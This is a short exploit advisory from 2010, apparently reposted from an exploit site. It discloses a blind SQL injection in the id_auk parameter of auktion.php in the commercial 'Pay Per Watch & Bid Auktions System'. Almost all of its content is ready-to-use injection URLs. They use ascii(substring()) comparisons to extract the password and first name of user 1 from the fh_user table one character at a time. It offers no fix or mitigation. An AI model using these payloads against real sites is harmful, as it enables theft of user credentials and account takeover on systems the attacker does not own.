Pay Per Watch & Bid Auktions System auktion.php (id_auk)
Posted on 20 March 2010
====================================================================== Pay Per Watch & Bid Auktions System auktion.php (id_auk) SQL Injection ====================================================================== ----------------------------Information------------------------------------------------ +Name : Pay Per Watch & Bid Auktions System BLIND SQL Injection auktion.php (id_auk) +Autor : Easy Laster +Date : 20.03.2010 +Script : Pay Per Watch & Bid Auktions System +Download : ------------------ +Demo : http://phpspezial.de/auktion-pay-per-bid/ +Price : 319.90 euro +Language :PHP +Discovered by Easy Laster ---------------------------------------------------------------------------------------- +Vulnerability : http://www.site.com/auktion/auktion.php?id_auk= #password +Exploitable : http://www.site.com/auktion/auktion.php?id_auk=1+and+1=1+and+ascii (substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1 #username +Exploitable http://www.site.com/auktion/auktion.php?id_auk=1+and+1=1+and+ascii (substring((SELECT vorname FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1 ---------------------------------------------------------------------------------------- # Inj3ct0r.com [2010-03-20]
